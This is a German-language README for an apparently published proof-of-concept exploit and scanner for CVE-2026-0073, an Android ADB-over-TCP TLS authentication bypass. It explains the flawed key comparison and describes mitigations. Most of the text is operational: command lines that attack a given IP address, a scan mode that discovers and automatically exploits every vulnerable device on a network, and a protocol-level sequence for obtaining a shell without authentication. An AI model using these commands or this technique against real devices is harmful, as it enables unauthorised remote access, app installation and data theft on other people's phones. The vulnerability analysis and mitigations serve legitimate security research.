CVE-2026-0073 — Android ADB TLS-Authentifizierungs-Bypass

Ein Proof-of-Concept-Exploit und Netzwerkscanner für CVE-2026-0073, eine kritische Zero-Click-, Interaktionsfreie Remote-Codeausführung-Schwachstelle im ADB-over-TCP-Authentifizierungspfad von Android adbd.

Die Schwachstelle ist ein Logikfehler in adbd_tls_verify_cert() (daemon/auth.cpp), bei dem EVP_PKEY_cmp() als boolesches Prädikat behandelt wird. Wenn ein gespeicherter RSA-Schlüssel mit einem Nicht-RSA-TLS-Clientzertifikat (EC P-256 oder Ed25519) verglichen wird, gibt die API -1 (Typkonflikt) zurück, was in C/C++ wahr ist. Dadurch wird ein algorithmenübergreifender Konflikt zu einem erfolgreichen Host-Key-Abgleich hochgestuft — wodurch die Authentifizierung vollständig umgangen wird.

Technische Details von BARGHEST.
Basis-PoC-Code von SecTestAnnaQuinn.
Behoben im Android Security Bulletin — Mai 2026.

Auswirkungen

Aus dem shell-Kontext kann ein Angreifer Systemeigenschaften, Prozesszustand, Protokolle und Benachrichtigungen einsehen; Pakete installieren und entfernen; run-as gegen debuggbare Anwendungen verwenden; und Folge-Exploits vorbereiten.

Dateien

Voraussetzungen (Zielgerät)

Damit der Exploit erfolgreich ist, muss das Ziel-Android-Gerät Folgendes haben:

1. Entwickleroptionen aktiviert
2. Drahtloses Debugging oder ADB-over-TCP aktiviert (der Plattform-adbd-TCP-Dienst)
3. Mindestens einen zuvor gekoppelten RSA-Host-Key in /data/misc/adb/adb_keys
4. Netzwerkerreichbarkeit zum ADB-TCP-Port (Standard 5555)

Einrichtung

# Virtuelle Umgebung erstellen
uv venv

# Aktivieren
source .venv/bin/activate

# Abhängigkeiten installieren
uv pip install -r requirements.txt

Abhängigkeiten:

Der Scanner degradiert elegant, wenn optionale Pakete fehlen — er wird warnen und auf alternative Methoden zurückfallen (System-ip-Befehl, nmap, TCP- Connect-Scan).

Verwendung

Modus 0 — Direkter Einzelziel-Exploit

Greife ein bekanntes verwundbares Gerät direkt an.

python3 adb_tls_auth_bypass.py 192.168.1.42              # interaktive Shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Oder über den Scanner:

python3 adbt_scanner.py --host 192.168.1.42                # interaktive Shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Modus 1 — Netzwerk scannen, identifizieren, ausnutzen

Scanne das lokale Netzwerk nach verwundbaren Geräten und nutze alle bestätigten Ziele aus.

# Vollständiger Scan: mDNS → ARP → Portscan → ADB-Probe → Exploit
python3 adbt_scanner.py --scan

# Führe einen bestimmten Befehl auf allen verwundbaren Geräten aus
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Nur Aufklärung — entdecken, aber nicht ausnutzen
python3 adbt_scanner.py --scan --no-exploit

# Mehrere Ports scannen
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Erkanntes Subnetz überschreiben (Multi-Homed-Hosts, bestimmte Bereiche)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Timeouts für langsame Netzwerke anpassen
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# mDNS-Hörfenster erweitern
python3 adbt_scanner.py --scan --mdns-timeout 60

# Bestimmte Erkennungsphasen überspringen
python3 adbt_scanner.py --scan --no-mdns    # mDNS überspringen, nur ARP
python3 adbt_scanner.py --scan --no-arp     # ARP überspringen, nur mDNS

Scanner-CLI-Referenz

--scan                    Netzwerk nach verwundbaren Geräten scannen + ausnutzen
--host HOST               Direkter Einzelziel-Exploit
--port PORT               ADB-Port für den --host-Modus (Standard: 5555)
--cmd COMMAND             Auszuführender Shell-Befehl
-v, --verbose             Ausführliche Protokollierung

--mdns-timeout SEKUNDEN   mDNS-Hördauer (Standard: 30)
--ports PORTS             Kommagetrennte Ports im --scan-Modus (Standard: 5555)
--subnet CIDR             Erkanntes Subnetz überschreiben (z. B. 192.168.2.0/24)
--connect-timeout SEKUNDEN TCP-Connect-Timeout (Standard: 2.0)
--probe-timeout SEKUNDEN   ADB-Probe-Timeout (Standard: 3.0)
--arp-timeout SEKUNDEN     ARP-Sweep-Timeout (Standard: 3)
--no-mdns                 mDNS-Erkennung überspringen
--no-arp                  ARP-Sweep + Portscan überspringen
--no-exploit              Nach der ADB-Protokollprobenphase stoppen

Erkennungspipeline

┌─────────────────────────────────────────────────────────────┐
│ 1. Subnetzerkennung  — netifaces → ip route → Socket-Trick  │
│ 2. mDNS-Listener     — _adb-tls-connect._tcp (Standard 30s) │
│ 3. ARP-Sweep         — scapy.arping → nmap -sn              │
│ 4. Portscan          — TCP-Connect zu jedem Host:Port       │
│ 5. ADB-Protokollprobe — CNXN senden, Antwort klassifizieren │
│                                                             │
│    STLS   → VERWUNDBAR (mit Exploit fortfahren)             │
│    AUTH   → Legacy-ADB-Auth (nicht diese CVE)               │
│    CNXN   → offen, keine Auth (bereits zugänglich)          │
│    NO_ADB → kein ADB-Dienst                                 │
│                                                             │
│ 6. Ausnutzung         — TLS-Upgrade → Auth-Bypass → Shell   │
└─────────────────────────────────────────────────────────────┘

mDNS ist die genaueste Identifikationsmethode: Wenn drahtloses Debugging gekoppelt ist, sendet Android _adb-tls-connect._tcp explizit. ARP-Sweep + Portscan dient als Allzweck-Fallback.

Exploit-Mechanik

Phase 1 — Klartext-ADB
  Client → CNXN(payload="host::features=...")
  Gerät  → STLS  (TLS-Upgrade erforderlich)

Phase 2 — TLS 1.3 mit algorithmenübergreifendem Clientzertifikat
  Client → STLS-Antwort
  Client → TLS-1.3-Handshake + EC-P-256-Clientzertifikat
  Gerät ruft adbd_tls_verify_cert() auf:
    known_evp = RSA-Schlüssel aus /data/misc/adb/adb_keys
    evp_pkey  = EC-P-256-Schlüssel aus dem Clientzertifikat
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (Typkonflikt)
    if (-1) → verified = true   ← FEHLER: -1 ist wahr

Phase 3 — Post-TLS-ADB-Dienstschicht
  Client leert Geräte-CNXN (Transport bereits online)
  Kein Host-CNXN gesendet (würde handle_new_connection-Kick auslösen)
  Client → OPEN(local_id, window=32MB, payload="shell:\x00")
  Gerät  → OKAY  → Shell-Stream hergestellt

Bedrohungsmodell

Direkte Netzwerkexposition

• Drahtloses Debugging in einem nicht vertrauenswürdigen Netzwerk aktiviert gelassen (Café, Büro, Konferenz)
• Internet-exponiertes ADB auf Port 5555 (über 10.000 Geräte allein in Korea beobachtet während der Expositionsforschung)

Malware-unterstützte Zustandserstellung

• On-Device-Malware verwendet den Accessibility-Dienst, um Entwickleroptionen zu aktivieren, drahtloses Debugging zu aktivieren und einen Host-Key zu koppeln — das Gerät wird für Remote-Ausnutzung durch einen Netzwerk-Peer vorbereitet

Einschränkungen

• Kein Root. Der Exploit bietet einen shell-Kontext (uid=2000). Kernel- Kompromittierung, Root-Zugriff und hardwaregestützte Keystore-Schlüssel erfordern zusätzliche Rechteerweiterung.
• Erfordert einen gekoppelten Schlüssel. Das Ziel muss mindestens einen RSA-Host-Key in /data/misc/adb/adb_keys haben. Ein frisch zurückgesetztes Gerät mit aktiviertem drahtlosem Debugging, aber nie gekoppelt, ist nicht verwundbar.
• Erfordert den STLS-Pfad. Geräte, die ADB über TCP über Legacy-Mechanismen (nicht-TLS) bereitstellen, antworten mit AUTH, nicht STLS, und sind von dieser CVE nicht betroffen.
• Gepatchte Geräte sind immun. Das Android Security Bulletin vom Mai 2026 enthält einen Fix, der die EVP_PKEY_cmp-Prüfung so ändert, dass ein exakter == 1-Rückgabewert erforderlich ist.

Gegenmaßnahmen

• Den Patch anwenden.
• Entwickleroptionen deaktivieren, wenn sie nicht aktiv benötigt werden.
• Drahtloses Debugging deaktivieren.
• ADB nicht über das lokale vertrauenswürdige Netzwerk hinaus exponieren.

Referenzen

• Android Security Bulletin — Mai 2026
• Technische Analyse von BARGHEST
• Android Danksagungen
• BoringSSL-Commit — EVP_PKEY_cmp-Rückgabewert-Normalisierung
• Morpheus-Spyware-Bericht — Osservatorio Nessuno
• MESH — BARGHESTs Android-Sicherheitstool

Haftungsausschluss

Diese Software wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Tools und der Code in diesem Repository sollen Sicherheitsexperten, Forschern und Gerätebesitzern helfen:

• Zu verstehen, wie CVE-2026-0073 auf Protokollebene funktioniert
• Eigene Geräte und Netzwerke zu auditieren und zu bewerten
• Gegenmaßnahmen zu entwickeln und zu testen

Sie dürfen diese Software nicht verwenden:

• Gegen Geräte oder Netzwerke, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben
• Für rechtswidrige Zwecke oder unter Verstoß gegen geltende Gesetze
• Um Daten ohne Autorisierung zuzugreifen, zu modifizieren oder zu exfiltrieren

Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal und kann straf- und zivilrechtliche Sanktionen nach sich ziehen. Die Autoren und Mitwirkenden übernehmen keine Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieser Software entstehen.

Verantwortungsvoll verwenden. Kenne dein Ziel. Hole dir die Erlaubnis.

Lizenz

CC0 1.0 Universal — Keine Rechte vorbehalten.

Soweit gesetzlich möglich, haben die Autoren auf alle Urheberrechte und verwandten oder benachbarten Rechte an diesem Werk verzichtet.